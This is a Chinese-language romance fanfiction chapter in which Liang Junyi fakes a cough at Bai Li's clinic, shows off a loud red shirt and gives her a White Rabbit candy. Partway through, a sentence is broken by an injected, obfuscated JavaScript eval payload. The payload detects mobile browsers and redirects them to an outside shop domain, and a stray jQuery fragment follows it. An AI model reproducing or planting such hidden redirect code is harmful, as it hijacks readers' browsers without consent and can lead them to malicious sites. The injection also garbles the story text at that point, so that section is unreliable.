昨天一整天都没见到阿妹,梁俊义今日起了个大早。
兴奋地绕着架势堂跑了几圈,又练拳打的虎虎生威,差点收到了一则街坊阿婆的投诉。
悻悻然收手,先是去各个场地转了一圈,叫醒并痛批了一顿睡眼惺忪的看场小弟,顺手推掉了消息不灵通的细佬们凑上来的玩耍邀约。
回到架势堂打开账本,看了没一会儿,就发现自己算出了个离谱的数字。
梁俊义皱眉苦想,宣告放弃,给旁边夹了张纸条——以防Tiger哥以为是自己算过的就忽略过去。
忙了能忙的,选择性忽略了不想忙的。
抬眼一看时间,还没过早上十点。
梁俊义已然自觉完成了今日份头马的工作,便高高兴兴地回房,开始为去城寨见阿妹做准备。
原本就那么几件的衣柜已经被各式各样新买的衣服所填满。
花花绿绿,潮流到连Tiger哥都多少有点看不过眼,问过一次他整天干嘛打扮的这么花里胡哨。
梁俊义当时嘿嘿一笑,没说什么。
毕竟他总不能如实相告,是因为发现阿妹每次看见他打扮好看一点的时候,眼睛都会亮上几分吧?
纠结选了半天,目光落在了服装店老板推荐给他的红色花衬衫上。
梁俊义是没看出来这过于鲜艳的颜色和夸张的图案到底有哪里能被称为靓女最爱。
但是回想起五十多岁的地中海阿伯拍着胸口跟他保证时说的话,他还是犹犹豫豫地穿上,对着镜子里看了半天。
确实穿上感觉跟往常的自己不太一样...
临出门时,梁俊义还是觉得有几分不自在。
看了眼外面的天气,于是又套上了一件皮衣。
黑色的旧皮衣遮住了红色新衬衫的绝大部分,只在领口处露出了一小截。
看上去就像是特意被藏起来的样子,只是偶尔会随着主人剧烈的动作而若隐若现。
梁俊义没注意到,略微调整了下,觉得这刚刚好。
得咗。
对着镜子里的十二少亮出了招牌笑容,梁俊义骑上机车朝着城寨赶赴一场单人的约会。
-
梁俊义今天没有直接冲进医馆,而是靠在门外摆好了一个超绝不经意的姿势——侧过身,一手插进皮衣口袋,再将领口的红衬衫的纽扣再解开两颗。
等阿妹抬头发现,他再进去显摆一下今日份的穿着。
台词都已经想好了:“冇乜特别事,偶然行过嚟咋。哦呢件衫?而家最 hit 嘅潮流款嚟?。”(...偶然路过而已。哦,这件衫啊?最新潮流款啦。)
语气要随意,但不能显得轻佻,最好再收获一枚阿妹亮晶晶的眼神。
想法很美好,可当梁俊义倚靠在医馆门边往里看时,他觉得有些不太对劲。
医馆内还是如往常一样,只有阿妹一人。
她此时正坐在小板凳上,一下又一下地锤捣着药碾子里的药材。
脸恰好有半边隐匿在阴影里,眼睛低垂着,就连嘴唇都无意识地抿成了一条线。
磨药的动作机械又重复,看上去不像是在想着什么,浑身的低气压连梁俊义还没进屋都感觉的到。
梁俊义在门口静静地看了一会。
内心升起了几分焦躁。
扑街,边个惹佢?
(...哪个惹她了?)
梁俊义本能地想冲进去,可又硬生生地往后撤了几步。
这段时间在医馆的相处,让他熟悉了阿妹的性子,也让他学会了不把莽撞带到阿妹的身边。
阿妹的不开心不是他一句帮忙出气就能解决的。
解决不了她的情绪先不谈,要是阿妹因此后退上半步,梁俊义就得头疼上一礼拜要怎么办。
梁俊义低头看了看,突然觉得今天自己穿的有些不合时宜。
阿妹心情不好,自己却穿的像个花枝招展的孔雀算怎么回事?
可下一秒,心底又无赖似的重新鼓起了劲。
反正他来就是为了让阿妹开心的,她心情不好,那他就更要想办法让她笑一笑。
梁俊义走进医馆时脚步刻意放重了几分,给阿妹留下充足的调整时间。
他知道她不喜欢莽撞,更不喜欢被突如其来的打扰。
快进门时,他先是探进来半个脑袋,露出了被庙街到城寨的风吹得乱糟糟的头发——哪怕是被主人提前整理了几下,额前的头发还是翘起了神奇的弧度。
梁俊义的眼睛刻意在屋内扫视了一圈,这才把整个人塞进医馆。
“阿妹——”
他声音拉长,尾音都快拐出了九曲十八弯。
等和疑惑抬头的白里四目相对时,梁俊义更加确信了自己的猜测。
他自然地凑到了阿妹面前半蹲着。
“阿妹,你今日心情唔好。点解?”
白里抬头看到的第一眼,是梁俊义那双微微上挑还正在发亮的眼睛。
在逆光中瞳孔微微收缩,又长又密的睫毛都被光线染成了橘棕色,还真有几分像老虎的样子。
男仔黑皮衣下露出的衬衫,红的很正。
尤其是在黑皮衣的压制下,只露出了领口处的一角,不张扬,但就是能让人第一眼就注意到。
他正歪着头一眨不眨地望着她。
连额前翘起的碎发都随着微弱的气流在眉间晃晃悠悠,而他浑然不觉。
好吧。
白里承认自己心底的郁气稍稍消散了一点。
但她不想回答,更清楚怎么才能转移话题。
于是避重就轻,把问题又扔了回去,扔得毫不客气。
“做咩嘢?今日又病啊?”
“冇病唔嚟得啊?”(没病不能来吗?)
对于对抗性语气的反应几乎是下意识的,梁俊义的回答在话音还未落地时就接了上去。
他说的理直气壮,但下一秒就意识到自己的失误,于是心虚地移开了视线。
梁俊义连忙溜溜达达地起身,走到了柜台旁,往木椅上一倒。
太过刻意的随意,以至于坐下去的力道没掌握好,让椅子猛地撞上了后面的柜台,发出了一声闷响。
台面上的玻璃瓶险些被撞掉,还有两个滚了一圈才停。
大件事,而家罪加一等!
(完蛋了,这下罪加一等。)
自觉做错事的梁俊义,小心翼翼地看了眼已经眯起眼睛的白里,连忙把椅子往前搬了半步,干咳了几声。
带着几分欲盖弥彰的拙劣演技开始生效。
“咳咳...我嚟买药。止咳嘅。咳...”
梁俊义咳得干干巴巴,比起第一次装病咳嗽的细路仔还要更生疏一些。
不对。
细路仔都不会像他一样,连装可怜都装不彻底。
白里心底叹了口气,扫了眼柜台没什么影响,就干脆收回了视线,继续做事。
梁俊义这边咳了半天,才敢抬头看,白里已经继续在磨药了。
装病有用!
梁俊义心底长舒了一口气,却又愈发肯定了内心的猜测:阿妹果真今日心情不好。
于是心中也不得劲。
拼尽全力也只是安安分分地待了一会儿。
“阿妹~”
“...”
“阿妹,你睇下我。”
“...睇你做咩?”
“你睇下先。”
亮眼的红色刺入眼帘,白里看着梁俊义不知何时已然脱掉了黑皮衣,正站在柜台前展示着今日的新衣。
刚才只露出衣领的红衫算是展露了全貌,大片棕榈树的绿,配上了扎眼的红,仿佛这不是冬季的九龙城寨,而是热情如火的夏威夷。
梁俊义张开手臂全方位展示了一下,转回来时还刻意扬了扬下巴。
“点样?”
白里哽住了,脾气如同奶油般化开。
谁家动物园里会说话的红鹦鹉跑出来了?
如果抛开脸和身材不谈,白里可以给到负分的地步。
可偏偏抛不开,始作俑者的肌肉线条连带着腰线都确实完美。
“啧。”
暴殄天物。
白里将视线从敞开的领口处拔开,低下头继续磨药。
“阿妹?”
老虎仔向来开朗的声音也带了几分不自信的迟疑。
“边个撺掇你买??呢件衫真系一言难尽。”
“...仲特别显肥添。”
梁俊义不可置信地偏头看了下自己的肩膀,又低头看了看自己的腰。
“边度肥?你话我边度肥?成个城寨入面...”
“好好好,你话唔系就唔系啦。”
语气敷衍,态度绝杀。
梁俊义的手捂着胸口,表情痛心疾首,夸张到像被捅了一刀。
白里没搭理,嘴角隐隐有些上翘。
梁俊义保持安静了没过多久——连白里手下正碾着的药都没多大的变化。
“妹——”
狗狗祟祟的声音试探性地响起。
“...又点?”
“我咳,我喉咙唔舒服。”
患者可怜巴巴,还伴随着几声刻意的咳嗽声。
白里磨药的动作停了,盯着作妖的梁俊义看了几秒,硬生生看得让他把后半截准备好的台词又咽了回去。
她起身拍了拍手,沾上的药粉碎末从指缝簌簌落下。
一边走,一边把袖子挽起,露出了已经锻炼出的有着紧实线条的小臂,不紧不慢地朝着梁俊义走了过来。
看着阿妹没带任何表情的脸,梁俊义梗着脖子,硬着头皮咳得更厉害了,试图装病以讨得一丁点赦免。
可成效甚微。
经常遭台风的人都知道,台风眼往往是最平静的地方。
咕嘟。
梁俊义咽了下口水。
阿妹就站在自己面前。
他下意识地往后缩了下,结果脑袋又磕上了椅背,发出又一声闷响。
“我唔系故意?!”(我不是故意的。)
“条脷伸出嚟。”(把舌头伸出来。)
两种声音一高一低同时响起。
看着梁俊义脸上呆滞的神情,好心医师歪着脑袋,假笑着做了补充。
“伸脷。睇舌苔。你话你咳的嘛。”(...看看舌苔,你说你咳的嘛。)
梁俊义身体先服从了指令,大脑才后知后觉地开始后悔。
这一阵子的频繁到访,让梁俊义切身领
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696904|204882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会了久病成医的道理。
他知道什么样的舌苔才是生病该有的,今日当然没顾上伪装。
所以看着阿妹认真的样子,他开始心虚。
心虚没过几瞬,思绪就开始跑偏。
梁俊义呼吸间都是阿妹身上的独特药材香气,仿佛开辟了一处截然不同他处的新天地,而这新天地里只有彼此。
阿妹的睫毛很长,垂下来望着自己的时候,琥珀色的眼睛更显得盛满了焦糖的甜蜜,像一处旋涡牢牢吸引着视线。
曾经的他会害羞地移开视线,如今的他眼神牢牢地盯着认真看着自己的阿妹,脑海里的想法只有让阿妹近一点,再近一点。
可梁俊义身体仍是老老实实地坐在原地,等待着最终的宣判。
手肘搭在柜台边上,离阿妹的手臂不过几指的距离,他没有靠的更近。
倒不是他天生圣人君子,也绝非心中坦荡无求,而是因为他还没有收到阿妹允许靠近的信号。
梁俊义的分寸感是在每一次的相处中,每一句的交谈中,在医馆这个说大不大说小不小的空间里慢慢生长出来的。
他以前追女仔不是这样的,喜欢就告白,拒绝了就冷静,怎么会傻到连天把自己搞到病恹恹,再不辞劳苦地躲着众人的视线跑来城寨的医馆?
可阿妹就是梁俊义遇到过的人中,独一份的存在。
从初见时就是,相处久了更是如此。
这很没道理,但梁俊义知道,世间上很多事情就是不讲道理的。
就像他打地盘靠的也不是讲道理,所以他对此接受度很高。
在这个医馆里,在阿妹身边,他不可以那么莽撞,不可以什么都不顾地想做就做。
他不可以在想好之前就擅自行动。
他必须得到许可,哪怕只是一个细微的眼神。
声音打断了视线,梁俊义敛起放肆的眼神,准备硬着头皮接受接下来的批评。
“舌淡红,苔薄白。冇痰冇喘冇鼻塞,你唔係咳,你係话多。”(...你不是咳嗽,你是话多。)
医师的诊断毫不客气地揭开了拙劣的谎言。
其实往日都算是心照不宣,但今日心情不好,她连路过的石头都想踢一脚,可又得碍于人设作罢。
所以在这僻静的医馆,遇到送上门的家伙,她偏要找点事做做。
梁俊义愣了一下,听着直白戳破的话语,觉得阿妹与自己的距离又拉近了一步——她终于把他当成了一个可以刻薄的人。
以往虽也会开玩笑,但他能看得出阿妹的眼神中还带着小心的试探,像是怕他生气所以时刻观察着,随时准备收回触角的蜗牛。
可这次不同。
于是眼睛逐渐弯起了弧度,笑容从胸腔向外震,开心到像冒泡的喷泉泉眼。
“畀你识穿咗。大医师。”(被你看出来啦...)
笑声太有穿透力,以至于连白里原本假装严肃的神情都没维持好,嘴角也不自觉地扬起了几个像素点。
就只有一瞬,但很精准地被梁俊义捕捉到。
他的眼睛蹭的亮了起来,“差一啖。”
白里很快压住了表情,没搭理梁俊义到底要说些什么,转身回了小板凳旁。
梁俊义像只黏人的猫一样,期期艾艾地跟了过去,蹲在了白里的面前。
白里换了个方向,他也跟着挪动了脚步,只将距离维持在一个不会触碰但又面对面的程度停住。
伸出大拇指和食指,在她面前有模有样的比划着测量的动作。
“差咁多。”(差这么多。)
这下白里是避无可避,面前的障碍物存在感太过强烈。
索性抬眼看向表演中的梁俊义,歪着头挑眉的意味清晰又明显。
得到了关注的家伙对此很满意。
梁俊义目光炯炯地盯着白里,好像变魔术一样。
一眨眼的时间,手腕一翻,原本用来比划的手指中间就多了一样东西。
白里视线连同笑容一起凝固,愣在了原地。
“庙街新开一间卖糖嘅铺头,老板讲呢啲系上海落船运返嚟嘅新鲜货。上海你有冇去过...”(庙街新开了家糖果铺,老板说这是上海运过来的新鲜玩意...)
梁俊义的声音还在继续,但仿佛被包了层薄膜,闷闷地响着。
白里已经没在听耳边在说些什么,她的注意力被完全吸引。
梁俊义的手指很长,指节分明但遍布了伤疤,此刻他的食指与大拇指之间捏着一枚糖果。
糖纸是蓝白红配色,还有一只蓝色线条勾勒的小兔子端坐在糖果的中央。
上面用简体字写的招牌名称,她再熟悉不过。
那是颗大白兔奶糖。
有多久没见过了?
从白里在码头醒来那刻开始,所接触到的一切都是陌生的。
说的听的是粤语,看的都是繁体。
她想要活命,想要融入,就得用粤语说话,得用九龙城寨的规矩生存。
这颗熟悉又陌生的糖果与简体字几乎是白里上辈子的东西。
可现在它就不可思议地待在一个庙街男仔的手指间。
蓝色的小兔子安安静静地端坐在糖纸的中央,隔着一整个时空的记忆冲她微笑。